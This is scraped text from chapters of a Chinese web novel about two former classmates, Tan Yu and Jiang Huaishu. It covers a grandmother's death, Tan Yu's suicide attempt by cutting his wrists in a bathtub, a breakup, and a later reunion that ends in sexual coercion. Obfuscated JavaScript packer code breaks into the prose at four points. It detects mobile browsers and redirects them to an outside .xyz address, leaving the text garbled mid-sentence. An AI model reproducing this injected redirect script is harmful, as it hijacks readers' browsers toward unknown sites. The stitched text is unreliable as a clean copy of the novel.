35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900361|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他现在状态极差,行为和话语看起来很是神经质,看见他这个样子江淮书只感觉心痛到难以呼吸,握紧他的手一步都没有挪开。 “我有钱,你别担心,我有钱,我有很多钱。” 江淮书抬头去吻他的额头,声音带着祈求。 “谭俞,你别推开我。” “手术费多少?我来给。” 从这路过的人们并没有向这边投来目光,医院不缺祈祷和哭声,这种情况见怪不怪。江淮书一说完谭俞就从椅子上滑了下来,一下子双膝跪地,他声音哽咽,泪水一刻不停地流。 “你不要再拉着我了江淮书,你走行不行?马上就要高考了你不要再浪费时间在我身上了。” “我求求你,你走!” 两人都跪在地上,似乎什么都被压垮了,江淮书用力抱紧谭俞,轻轻摇着头,声音带着安抚和颤抖:“我也求求你,别这么对我。” “我替你交手术费,我们冷静一点好不好?” 谭俞崩溃一般埋在江淮书的颈窝里哭,哭得全身都在抽搐,仿佛下一秒就会晕过去。 他太需要家人了,对于他来说姚淑芬就像是大树的根,而他就是那棵大树,如果姚淑芬死了,那他也会活不下去。 江淮书抱着他,一言不发地陪在他身边,直到他冷静下来。 “手术费多少?”江淮书又问,“我来替你承担。” 谭俞沉默了一会儿,随后才颤颤巍巍开口:“二十三万。” “好,”江淮书点了点头,替谭俞擦去眼泪,“这几天你先在这等着奶奶出来,我去拿钱。” 说完江淮书又吻了一下谭俞,起身拿着手机转身就走,谭俞看着他离去的背影,眼神里的情绪晦涩难懂,他又流泪了,但这次他没有吭声,只是沉默地看着江淮书走远直到离开。 这时窗外吼起了雷声,谭俞重新靠在椅子上,闭上了眼睛。 25. 放手 活着,似乎是一件很痛苦的事情,至少对谭俞来说是这样的。 小时候他羡慕别的小孩在父母面前有任性的资格,而他的第一次任性却酿成了父母身亡的车祸,每次他听见谭叶问爸爸妈妈什么时候回来时都总会哑口无言,呼吸困难,那段日子非常煎熬,几乎成了他的噩梦。 为什么活着? 谭俞的回答是:不知道。 他曾经看见过一只死掉的青蛙,它身上没有伤口,死得很安详,姚淑芬告诉他这是自然规律,任何动物都会有死的那一天,谭俞似懂非懂,问姚淑芬自己是不是也会死,姚淑芬当时笑着亲他的脸,说小俞会长命百岁,谭俞听了,没有再说话。 如果世间万物都会死,那活着的意义是什么呢?既然活着很痛苦,那死了应该才是归宿。 后来每次放学路过马路中间谭俞就会故意走得很慢,幻想着能有一辆车驶过来撞死自己,可事与愿违,他没有被车撞,甚至没有受过伤。 姚淑芬很疼他和谭叶,有时候摔个跤都能担心半天,随着年龄增长,谭俞也渐渐明白了一件事——他还不能死,他不能让姚淑芬操心。 学会笑太容易了,动动嘴就可以,笑能解决很多事,谭俞很懂这个道理,他要做不落的日,这样姚淑芬才能放心,谭叶才能成长。 江淮书的出现对谭俞来说是意外的意外,就像他的世界破了个洞,江淮书突然掉了进来,给了他所有的惊喜和爱。 有了江淮书,他突然想活得更久一点,可当时的他并没有意识到,迟来的舔舐治愈不了陈年的伤口,不过还好,现在明白也不算太晚,既然自己已经病入膏肓,那就放江淮书走吧。 ————————————————————————— 现在江淮书手里只有十二万,这是远远不够的,但没有关系,他还有很多办法。 江淮书回到家后把所有能卖的东西全卖了,什么名牌奢侈品都卖了个一干二净,可是还是凑不够二十三万。 晚上他做了一个梦,他梦到了谭俞,梦见了他崩溃时的神情和泪,梦见了小时候的他被人欺负,被骂没爸妈,梦见了他恐惧时的眼神和应激的举动,甚至梦见了他告诉自己他活不下去,然后转身从楼上跳了下去。 “谭俞!!” 江淮书猛然从梦中惊醒,一下子从床上坐了起来,冷汗不停地在流,心中一阵后怕,他喘着气缓了几秒,接着把脸埋进了手心。 现在东西能卖的都卖了,得走另一条路,借钱这个办法是行不通的,因为李槿迟家里管得严,借不了多少,如果实在不行就只能用最后一个办法了。 江淮书给老师请了假,订了回首都的机票,什么都没吃就坐车去了机场,他将林秘书拉出黑名单,打了个电话过去,那边接得很快,还没超过两秒就接了。 对面的人似乎犹豫了一下,随后才迟疑地开口:“是……是小少爷吗?” “我回首都了,下午派人来接我,”江淮书说着,话音顿了顿,忍着恶心才再次开口,“我要见陈文康。” “好的小少爷,”林秘书连连应声,“我这就去安排。”说完他便挂了电话。 江淮书是恨陈文康的,没有人比他更恨陈文康了,可他需要钱,不仅仅是为了谭俞,更是为了姚淑芬,他无比清楚姚淑芬对谭俞来说有多重要,那将会是压死骆驼的最后一根稻草。 曾经他花钱不用考虑其他,想买什么就买什么,而如今东拼西凑,却是用钱来买两条命。他没有多少时间去思考,只想快点回到谭俞身边,因为心里恐惧,甚至有好几次闭上眼就是对方麻木绝望的眼神。 为什么偏偏是谭俞呢? 江淮书想。 要是谭俞能变小就好了,那样他就能把谭俞揣进兜里,这样他的谭俞就淋不着雨,也受不了寒。 首都经常晴空万里,甚至很少有阴天,今天却不知怎么回事,雨下得特别特别大,来接江淮书的那几个西装男人都撑着黑伞,雨滴哗啦啦地砸在伞面,声音刺耳,令人莫名焦躁。 来到公司的时候陈文康并不在公司里,林秘书让江淮书进办公室去等,但江淮书拒绝了,他面色冷淡地站在路口,目光扫过一辆辆疾驰的车辆,林秘书见劝没有用,于是就放弃了,安安静静地站在他旁边为他撑着伞。 不知过了多久,雨越下越大,被风吹得倾斜的雨水打湿了江淮书的裤腿,他腿已经开始发麻,但依旧站在原地一动不动地等着。 这时一辆黑车从远处飞驰而来,一个急刹车就停在了路边,林秘书见状,低声提醒江淮书:“小少爷,陈总来了。” 江淮书没说话,目光紧盯着那辆黑车。 车门被打开,一把黑伞伸出来撑开,一条穿着红底高跟鞋的长腿迈出来踩到了地面上,紧接着就是一张魅惑漂亮的脸露了出来,女人跟江淮书对上了眼,有些愣了愣,但她很快回过神,转身去给后面才出来的男人撑伞。 男人挽着情妇下了车,目光直直地朝着江淮书那边看去。他跟江淮书长得像,但是不明显,但如果说一定要挑一处相似的地方,那就是眼睛,他们的眼睛几乎长得一模一样,曾经很多人说恭维话时都会拿眼睛来说事,江淮书每次听见这些话时心里都倍感恶心,因为他太恨陈文康了,甚至已经到了恨之入骨的地步,不想跟这个人有任何瓜葛。 江淮书看着眼前的陈文康,手紧握成拳,眼里的戾气冰冷尖锐,神情凌厉得像是随时会不管不顾地冲上去杀了对方,可他什么也没做,并且也没有说话。 气氛很紧张微妙,一旁的人大气也不敢出,陈文康见江淮书这副神情,本以为他会对着自己冷嘲热讽些什么,谁知下一秒,江淮书忽然双膝一弯,当着所有人的面对着陈文康直直地跪了下去。 漫天的雨水不断地往江淮书脸上砸,地上的雨水也浸湿了他的裤子,跪下去的那一瞬间他什么都没有想,脑子里只装着一句话——谭俞还在医院等他。 江淮书强忍着作呕的生理不适,嘴唇动了动,淡声开口。 “爸。” ————————————————————————— 谭俞从姚淑芬出车祸进医院开始就没吃过一口饭,目光一瞬不瞬地盯着手术灯。他在心里祈祷了无数次,幼稚又无力地在心里许愿,想将他这辈子的所有气运和寿命都分给手术台上的姚淑芬。 可这些都太苍白了,他真正能做的就只有等。 又过了两个小时后手术灯灭了,医生从手术室里走了出来,谭俞瞬间站了起来,情绪激动得两步并作一步向医生走了过去。 “怎么样医生,我奶奶她,她,她没事吧?!” 面对谭俞的问话医生沉默了很久,随后才拍了拍谭俞的肩膀,低声道:“家属调理一下情绪,准备后事吧。” 听了医生的话,谭俞只感觉全身上下的血液都凝固了,差点一口气没提上来,他神情恍惚,气若游丝。 “什么?” 话刚说完,谭俞身形晃荡,眼前一黑,突然晕了过去。 等他再次醒来时他正躺在病床上输液,病床周围围满了茉莉巷的人,段佳成妈妈见谭俞醒了,赶紧扯着袖子擦了擦眼泪,微微勾起嘴角拍了拍谭俞的手背,柔声说:“小俞啊,你别担心,钱的问题已经解决了,我们茉莉巷的大伙儿们还有你的两个老师都给你把钱凑齐了。” “小叶子在我家住得好着呢,奶奶的事……我已经替你瞒着她了,现在你什么都不要担心,你要做的就是好好吃饭,把身体养起来,你看你,都饿瘦了。” 谭俞缓缓支起身子跪在床上给他们磕了个头,语气带着感激:“谢谢,谢谢大家,钱我以后会还给你们的,真的特别感谢大家的帮助。” “哎呀你这是做什么?!”九爷见状,连忙走向前去将谭俞扶了起来,“钱的问题以后再说,现在好好养好身体,知道了吗?” 此话一出,大伙儿连声附和。 “是啊是啊,小俞,以后你们家有啥困难尽管找我,我竭尽所能地帮你们。” “对,先别管钱的事,要高考了,小俞你得加油啊,别辜负你奶奶一片苦心啊……” “……” 大家都在七嘴八舌地安慰着谭俞,谭俞心里一方面心存感激,一方面又早已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900362|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻木,但他尽量表现得正常,但藏在被子里的左手的指甲早已经扣进了肉里。 “谢谢各位。” 什么都交代清楚后他们又在这陪了谭俞一会儿,接着就因为各种事各回各家了,病房里渐渐地就只剩下了谭俞一个人。 他睁着眼一动不动地看着天花板,模样像是在发呆,此刻的他心里已经没有什么多余的情绪了,甚至连哭的力气都没有。 过了一会儿后他从病床上坐了起来,拔掉了手背上的针,随后手背上的那一处顿时源源不断地冒出了血珠,他扫了一眼,用纸胡乱地擦了一下,最后走出了病房。 若是非要形容谭俞现在的状态,那就只能用一个词来形容——行尸走肉。 他出了医院,往茉莉巷的那个方向走去。一路上他都没停步,也不管有没有车,就这么直直地走着,有个赶路的司机差点撞到他,气不打一处来,将头伸出车窗外,叫骂:“你他妈瞎啊?!有车你看不到是不是?想死吗?!” 本以为那个游魂似的人会转过头来跟自己对骂,没想到他却看都不看这边一眼,自顾自地往前走着,司机觉得莫名其妙,一直盯着他走到路边后才收回视线,喃喃自语:“真是个神经病。” 谭俞晃晃悠悠地回了家,他关上门在客厅站了很久,接着才迈开发麻的腿走到姚淑芬的房间。他看着房间里熟悉的东西,闻着那股熟悉的药味,指尖颤了颤,一头倒在了姚淑芬的床上。 他回忆着关于姚淑芬的各种事,桩桩件件仿佛就发生在昨天,脑海里不停地浮现出姚淑芬的笑容,他突然想,为什么偏偏活着的是他呢? 身边的亲人一个又一个地离自己而去,他谁也抓不住,难道他是灾星吗,或许是的吧?不然奶奶和爸妈也不会都因为车祸身亡,这些都是他爱的人,他们都死了,自己怎么就活得好好的呢? 谭俞呆了一会儿,随后从床上爬了起来,走出姚淑芬的房间来到了厨房里,他从果篮里抽出了把水果刀,接着上楼回到了房间,他来到浴室往浴缸里放水,然后自己就躺了进去。 冰冷的水不停往谭俞衣服裤子里钻,他往手腕上狠狠划了十多刀,不到几秒钟的时间,浴缸里的水一下子就被染红了,沾着血的水果刀从他手里滑落在地,他拿出手机给江淮书打了个电话过去,手机响了几秒后,对方便接起了电话。 那边很吵,有水声,听起来应该是在下大雨,紧接着江淮书的声音从手机里传来。 “喂小俞,你怎么样了?有没有好好吃饭?我马上就能拿到钱了,等我拿到钱就回来找你好不好?” 谭俞闻言,只觉得心里痛得直抽,他喉结滚了滚,好一会儿才发出了声音。 “江淮书,你傻不傻?我怎么可能让你来为我承担?你现在应该赶紧回学校复习,然后安安心心参加高考,不要为我操心了好吗?” 江淮书没听出谭俞的异常,以为是他觉得愧疚和不好意思,于是便柔声安慰:“小俞你别担心,我……” “我们算了吧,”谭俞打断了他的话,轻声说。 他一说完,江淮书那边顿时安静了,但过了几秒之后,江淮书又若无其事地继续开口说话:“小俞你饿不饿,现在去吃点东西好吗?你……” “江淮书!!!”谭俞吼了出来,苍白的嘴唇不停地发颤,“你他妈听不懂是不是?!不要再管我了!我不需要!我让你别拽着我了别拽着我了别拽着我了你是不是听不明白?!!!” “我们分手吧,现在你听懂了吗?!!” 话一说完,对面又是一阵沉默,要不是有雨声谭俞都还以为江淮书挂电话了,不知过了多久江淮书才再次出声:“那卷卷呢?” 谭俞闭上眼,声音沙哑:“我不要了。” “所以呢?”江淮书语气平静,平静到像是只是需要一个答案,“我是不是跟你随手救的流浪狗没什么区别,要不要都一样,是这样吗谭俞?” “江淮书。” 谭俞没有正面回答他的问题,只是笑了一声,像是在叹息。 “好好高考,” “毕业之后,替我去看挪威的春天吧。” 26. 心痛 “江淮书……” “江淮书!” “江淮书!!!!” 谭俞在病床上左右晃着脑袋,像是梦见了什么可怕的东西,紧接着他大喊了一声,猛地从床上坐了起来。 一旁的谭叶将他的行为看得一清二楚,满脸的不可思议。 “哥,你……?” 病房里的另外几个病人不停朝他打量着,眼神像是在看神经病,谭俞大口大口地喘着气,呆了几秒后抬眸四处张望,像是在找什么人,但可惜他身边除了谭叶已经没有别的谁了。 “你在找什么啊哥?”谭叶问道。 谭俞静了两秒,嘴唇动了动,回答了她:“没什么。” 这话显然是在敷衍,谭叶可不上套,她回想起了刚刚的场景,接着追问:“刚刚你睡着的时候一直喊我们班主任的名字,你不会是梦到他了吧,你们认识?” 梦里的片段还残留在谭俞的脑海里挥之不去,他想到了曾经的江淮书和现在的江淮书,这简直是判若两人。 江淮书恨他吗?好像是的,毕竟当初自己走得决绝,根本没给两人留余地。 想到这里谭俞心里一阵抽痛,他深呼吸了一下,接着闭上了眼。 “我跟你们班主任之前是同学,刚刚我只是做了一个梦,” 谭俞顿了顿,接着低声说。 “仅此而已。” ————————————————————————— 最近天气不是很好,好几天都是阴沉沉的,谭俞中午出院的时候还刮了大风。 “哥,那我先去学校了!”说着,谭叶往路边跑了几步,接着不知想到了什么,又回过头来,冲谭俞喊道,“不能再喝酒了!!医生说你胃不好,再喝你胃得废。” 听了她的话,谭俞笑了笑:“行行行,哥听你的,不喝了,但是你也要听哥的,在学校好好上课听到没?” “还有你早恋的那事就算过了,再有下次我就要收你手机了。” “知道啦!” 谭叶俏皮地眨了眨眼,举起手挥了挥。 “拜拜!!” 谭俞笑了笑:“拜拜。” 看着谭叶远去的身影,谭俞脸上的笑容也渐渐隐去,迈开步子向家的方向离开了。 当年他自杀没有成功,在医院醒来后被段佳成妈妈一通说教,给他骂醒了。 他这样冲动地想离开,那谭叶怎么办?她还这么小,难道所有的结果都要让她一个人承担吗?谭俞当然不会这么做,所以他还有坚持活着的理由,至少是为了谭叶。 有了这个念头后他开始好好吃饭,好好养身体,出院之后就带着谭叶离开了梅城。 这么多年来谭俞成熟了不少,褪去年少的青涩,他努力克服心理阴影,撑起了整个家。 谭俞一路上都在漫无目的地走着,脑子里全是那天江淮书说的话,心越痛,回忆就越清晰。 他叹了口气,转过身坐到了路边的长椅上,这时兜里的手机震动了几下,他拿出来摁亮屏幕扫了一眼——是段佳成的消息。 段佳成一直在刷屏,有种如果谭俞不回消息他就会一直发的架势,谭俞修长的手指在屏幕上点了几下,发了条消息过去。 落潭:你有事? ddd:老谭你终于回我了。 ddd:听说你昨天进医院了,是不是喝酒喝的? 落潭:应该是。 ddd:你看你看,早跟你说了吧?让你少喝少喝少喝,偏不听,你这个胃跟着你真是委屈了![翻白眼] 落潭:下次不喝了。 ddd:谁管你…… ddd:现在好点没? 段佳成这两条消息典型左右脑互博,谭俞知道他有时候爱嘴硬,也就没跟他较真。他嗤笑了一声,发了条消息过去后就关掉了手机。 落潭:好多了,出院了都,行了,我要回家了,不跟你瞎逼逼了。 谭俞将手机揣进兜,从长椅上起身,迈开长腿向岔路口对面走了过去。 回家的路上要经过华叔的蛋糕店,谭俞想起谭叶最近很馋蛋挞和车厘子千层,于是想着干脆碰碰运气,看看华叔的蛋糕店有没有开业。 风越刮越大,街道上已经没有多少路人了,车辆也少得可怜,谭俞走到蛋糕店门口时华叔的儿子华少卿正在搬货,他脚步一顿,定在原地,开口大声喊道:“少卿!华叔今天没开张啊?” 华少卿听见叫喊声,转头看了过去,一见是谭俞他立马扬起了笑容:“谭俞?你怎么来了?” 谭俞冲他笑了笑:“我路过,准备回家呢,想起小叶子想吃甜点所以就想着来这买点儿。” 华少卿闻言,面露遗憾:“那可惜了,我跟我爸今天刚回来,模具都还没摆好呢,什么吃的也没有。” “啊没事,”谭俞无所谓地摆摆手,“本来我还以为你们今天还没回来呢,等我改天再来买也行。” 他话音刚落,华少卿似乎想起了什么,右手握成拳往左手手心上轻轻砸了一下:“哦对!我今早做了点小鱼饼干,不过不是拿来卖的,你可以带点回去给小叶子吃。” 谭俞一听,笑了:“可以啊,多少钱?” 华少卿放下手上的模具转身向店里跑去,声音远远传来:“客气啥呀,不要钱!!” 谭俞他们跟华叔一家关系很好,因为挨得近,谭叶又经常来这儿买蛋糕,两家自然而然就变得亲近了。 大概过了两三分钟之后华少卿就提着一盒天蓝色铁罐子走了出来,左手还捏着两块小鱼饼干,他走到谭俞面前,拿了一块递给对方,微微弯唇:“你尝尝,我最近手艺好了不少呢。” 谭俞一听,二话不说就接了过来,冲华少卿挑眉:“那我肯定得尝尝啊。”说着他便张嘴咬了一口。 小鱼饼干的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900363|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶油香很浓郁,口感细腻,甜却不腻人,很是好吃,谭俞眼前一亮,感叹道:“你手艺见涨啊少卿,特别香。” “那是,”华少卿一见得到了肯定,顿时喜笑颜开,眉眼间尽是藏不住的得意,“毕竟跟我爸去韩国进修,肯定是学到了不少。” 谭俞一听,正准备还想再夸夸他,给他增长自信,但这时,放在地上的模具突然被吹倒了,那些零零碎碎的零件也都掉了出来。华少卿见状,一下子尖叫了起来:“啊啊啊啊!!!!我的模具!!” 那罐饼干被放在了一旁,华少卿两步并作一步地迅速跑到路边去捡散落的零件。谭俞没闲着,也跟过去帮忙捡。 “我来帮你。” 刚刚肯定是风太大了所以把模具给吹倒了,好在散落的零件不是很多,两个人不到半分钟就捡完了。华少卿抱起怀里的零件站起身,冲谭俞笑着道谢:“谢谢你啊谭俞,不然我一个人肯定要捡个一两分钟,到时候模具缺胳膊少腿的,我爸肯定要骂我。” “小问题,”谭俞拿了块小鱼饼干递给华少卿,“吃完这块再搬吧。” 华少卿颠了颠怀里的东西,摇了摇头:“我手忙不过来,还是不吃了。” 谭俞一听,觉得也是,于是他便捏着饼干递到了华少卿嘴边。 “没事,我喂给你吃。” 两人凑得挺近,谭俞比华少卿高,从远处看倒像是谭俞在对他的脸动手动脚。华少卿没注意到谭俞身后不远处停下的人,张口就把谭俞手里的饼干叼在嘴里,接着口齿不清地说:“谢谢你了谭俞。” 听见对方含糊不清地道谢,谭俞正要打趣他,但下一秒,他身后突然传来了一道男人的声音。 “诶江老师,你怎么停下了?” 谭俞听见这话时顿时瞳孔收缩,心猛地一跳,“江老师”三个字对他来说是极为敏感的词,甚至听到的时候连呼吸都不会了,这瞬间他僵在原地没动,不敢回头看也不敢迈步走。 此时的校长正在给江淮书敬烟,没注意到开始变得奇怪的氛围。 风吹得越来越大,江淮书穿着一身黑色风衣站在谭俞身后的不远处,风衣的衣摆被风吹得飘起,他嘴里叼着还未点燃的香烟,神色冷淡地平视前方。 “没什么,” “您接着说。” 华少卿见谭俞表情不对,便出口关心:“你怎么了谭俞?” 谭俞摇了摇头,没有回答对方,他在心里做了个准备,做了好几次深呼吸才敢微微偏头过去看。 校长见江淮书的目光还停留在谭俞身上,便不由得好奇地问:“这个……难道你认识那个人吗江老师?” 没等谭俞完全转过头来江淮书就迈开了步子往前走,两人直接擦肩而过,谭俞根本没来得及打招呼,擦肩而过间他听见江淮书语气无波地开口说。 “不认识。” 此话一出,谭俞僵在了原地。 27. 你替他赔? “哥,你怎么了?最近闷闷不乐的。”谭叶放下筷子,抬头看向厨房里的谭俞。 谭俞正出神,切水果的刀一下子不小心割到了食指的指腹,划出一道不浅不深的伤口,血源源不断地冒了出来,刺痛感使他回了神,他抽了张纸巾捂住了伤口,回头走出了厨房。 “没怎么啊,可能最近熬夜写东西,没睡好吧?” 听了他的话,谭叶不是很相信,总感觉谭俞有什么事瞒着她。 “真的?” “真的,”谭俞伸手轻轻敲了一下她的脑袋,笑得无奈,“别瞎操心了,我什么事都没有,快点吃,吃完饭快去写作业,写完作业就去睡觉,明天还要上课。” 听到要上课谭叶立马就蔫了,她扯了下嘴角,似乎连食欲都没了:“哦。” 血还在流,甚至渗透了纸巾,谭叶见了,眉头皱起:“哥,你手怎么了?!” 谭俞没什么太大的反应,只是轻声安抚着谭叶:“刚刚切水果的时候不小心割到了,没事,一会儿就不流了,你快吃饭。” 他这满不在乎的样子谭叶看着就来气,她拉开凳子起身,语气着急道:“什么没事,感染了怎么办?你等着,我给你去拿创口贴。” 说完她便转身走向了房间,只剩下谭俞一个人在餐桌旁。 谭俞看着被血染红的纸巾,深深吸了一口气,脑海里又浮现出了当时遇到江淮书的场景,对方的声音和语气还在耳边回荡着,那样平静,好像从来没爱过。 “不喜欢了吗?” 谭俞喃喃自语,不知道在问谁,但说出这句话后他又觉得好笑,用没受伤的那只手捂住了眼睛,他轻叹:“算了,不认识就不认识吧。” “如果太难堪,那还不如陌生人。” 热恋的夏天早已过去,吉他再怎么擦拭也还是会生锈,他送他的茉莉也死了,一切的一切,就都是过去事了。 ————————————————————————— 今天中午下了太阳雨,段佳成叼着雪糕棍坐在风扇前吹风,接着他对着风扇张开嘴,雪糕棍掉了下来。 “啊——” 这声颤音把谭俞逗笑了,他看了一眼段佳成,翻了个大白眼:“你有病是不是?” 段佳成闻言抬眸看了过去,撇了撇嘴:“要我说,应该是这天气有病才对,这么热的天,出着太阳都下雨,想开窗户又怕雨掉进来,不开窗户又闷又热,真服了。” “写你的案子吧,”谭俞随手拿了一包纸向他砸了过去,“再吵滚出去。” 段佳成接过扔过来的纸,拿在手里颠了颠,接着扔在了一边,他一头倒在床上,嘴里哀嚎着:“诶哟早知道不来找你玩了,天天写你那个小说,真是无聊死了。” 谭俞敲着键盘,听见他的鬼叫,嗤笑了一声:“珍惜今天的周末吧,明天上班要是加班还不给加工资你就老实了。” 本来段佳成就要死不活,听见这话更是雪上加霜。 “我这什么命啊我……” 还没等他把话说完,一阵手机铃声突然响了起来,他有气无力地把手伸进兜里拿手机,接着在屏幕上点了一下,开口道:“喂,哪位?” 听见他的话,手机那边立刻传来了华少卿笑嘻嘻的声音:“是我啊段佳成!” “咋了这是,突然给我打电话?”段佳成晃了晃长腿,语气懒散,“说吧,什么事有求于朕?” 华少卿说:“哎呀没啥事,就是想问问你跟谭俞要不要出来吃饭。” 他这么一说段佳成立马就精神了,一下子从床上坐了起来,嘴角都快扬到天上去了:“真的假的?!” “嗨呀,”华少卿笑了笑,“我骗你们干嘛,来不来?今天大方一点,我请客!” 段佳成语气兴奋:“行啊,我们这就来,你把定位发我,我们一会儿收拾收拾就过去。” 说完,他便挂了电话。 谭俞抽空看了段佳成一眼,随口问道:“怎么了?这么兴奋干什么?” “华少卿喊我们出去吃饭呢,他请客,”段佳成笑着走过来,扯住谭俞的手就往外走,“别写你那破小说了,走走走,蹭饭蹭饭。” 他拽得很用力,谭俞几乎是被他拖着走。 “你走慢点,神经病。” ————————————————————————— 位置是在一家餐厅,那里的生意很好,听说饭菜样式多,味道也特别不错,段佳成老早就想来尝尝了。 三人来到座位上,服务员走到他们身边给他们递上了菜单:“各位看看,想吃什么在纸上打勾就好。” 华少卿接了过来,冲服务员笑了笑:“诶好,谢谢。” “不客气。” 他粗略地扫了一眼菜单,接着将菜单递给了谭俞和段佳成他们:“你俩想吃什么,我有选择困难症,你们先点吧。” “我吃过的美食可不少,”段佳成吹嘘着接过菜单,自信地提起了笔,“我来替你选吧,我吃啥你吃啥。” 此话一出,谭俞嫌弃地打量了一下段佳成,张口就说出了他的黑料,一点面子也不给。 “上次是谁听信谣言说芥末棉花糖好吃然后买了一大堆,结果嫌难吃给全部扔进垃圾桶里的?” “不会是你吧?” 段佳成瞪了他一眼,语气里满是不服气:“上次那是失误,这次听我的准没错!” 他俩吵得不亦乐乎,华少卿也是见怪不怪,都习惯了。想到这,他叹了口气,起身冲他俩说道:“我先去上个厕所,你们慢慢吵,我一会儿就过来。” “去吧去吧,”段佳成摆摆手,随后装作老成的样子摸了摸不存在的胡须,“饭菜的事情交给我没问题,你少听老谭瞎扯。” 谭俞:“滚。” 华少卿不想参与纷争,啥也没说,连忙溜了,留这俩人在原地慢慢争论。 两个幼稚鬼争了半天,直到菜上得差不多了才消停了一点。 “来,等下我让你见识见识什么叫美食家的品味!”段佳成将菜放进火锅里煮,哼了一声。 谭俞刷着手机,头也不抬直接锐评:“不吃屎。” 段佳成气不打一处来,无能狂怒:“你滚行不行?!” 正当他俩还想再说些什么时,远处突然传来了一阵惊呼,谭俞动作顿了一下,闻声看了过去。 坐在那边的人都朝着同一个方向看着,而被看的那里有个他俩都很眼熟的一个人正不知所措地站在原地,谭俞眯了眯眼,站起身走了过去,段佳成见状也跟着走了,他面露疑惑:“怎么了这是?” 走到那边时谭俞听见了华少卿的声音,他正在着急地道歉。 “抱歉抱歉,我刚刚路过的时候没注意您手边有酒杯,真是不好意思,您的衣服我会赔给您的,真的很抱歉!” 下一秒,江淮书的声音响起,冷淡又带着压迫的气势:“你怎么赔?” 听见这声音,谭俞顿时瞳孔一震。 其实按理来说江淮书不会这么不饶人,而且他也根本不差这件衣服穿,但这次有点反常,这是为什么? 情况紧急,谭俞没时间多想,他两步跨到华少卿前面,冲着江淮书深深鞠了一个躬:“不好意思先生,我朋友平时比较粗心大意,酒洒到您衣服上真的很抱歉,如果方便的话您可以留个电话,该赔多少钱我们都会赔的。” 他说句话的时候一直是鞠着躬的,根本没有抬头看人,江淮书在他跟华少卿之间缓慢地看了个来回,眼里全是冰冷的平静,他戴着金丝边框眼镜,却并没有因此柔和眼里的压迫。空气静了几秒,谭俞听见江淮书轻笑出声。 “这么说的话,你替他赔?” 谭俞顿了顿,直起了身,目光终于落到了江淮书身上,即使心里做好了准备,但他还是被江淮书冷淡的表情狠狠刺了一下。 “也可以,看您吧。” 看见这状况,段佳成一掌拍到脑门上,闭上了眼。 怎么是江淮书啊?!真是冤家路窄! “行,”江淮书慢吞吞地站起身,随手将外套扔进了垃圾桶,接着垂下眼皮看向了谭俞的眼睛,“既然是看我,那就走吧。” 谭俞闻言,愣了一下。 这是做什么? 华少卿也没料到会闹到这个地步,心里一急便拦住了他们的去路:“先生,真的很对不起,您别为难他,我会赔……” 江淮书依旧神色平静地看着华少卿,但实际上耐心已经告罄,他并没有等对方说完,直接打断了对方的话。 “滚。” 谭俞不明白江淮书为什么要做这么绝,甚至在心里怀疑华少卿是不是跟他有仇,他默默深呼吸,随后冲华少卿笑了笑:“没事的,可能他只是带我去给他重新买衣服,你别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900364|176589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心。” 话一说完他就跟着江淮书走出了门,见他们走了,看戏的人也都散开了,段佳成上前去拉华少卿,安慰道:“走吧,你惹到的那个人其实跟谭俞认识,不会怎么为难的,没事的。” 听见段佳成这么说,华少卿一脸震惊:“既然他们认识那刚刚为什么还要这么咄咄逼人啊?” 段佳成干笑了两声,语气意味深长:“以后你就知道了。” 开车时两人一路上都没说话,江淮书开得很快,甚至已经超速,谭俞紧张得不敢呼吸,手心已经出了汗。 江淮书把车开到了一栋小别墅门口停下,他打开车门,长腿点地,袖口被挽到臂弯处,发丝凌乱了些许,平添几分野性。他打燃打火机点上香烟,迈开步子走到副驾驶边把谭俞扯了出来,接着向别墅里走去。 “江淮书,你带我来这干什么?”谭俞问道。 他被江淮书拽着往前走,步伐凌乱,好几次差点摔倒。 江淮书扯着谭俞来到房间门口,长腿对着门用力踹了一脚,门一下子被打开,砸到墙上发出一声闷响。 “不是要替他赔么,” 江淮书吸了一口烟,吐到了谭俞脸上,轻笑。 “脱吧。” 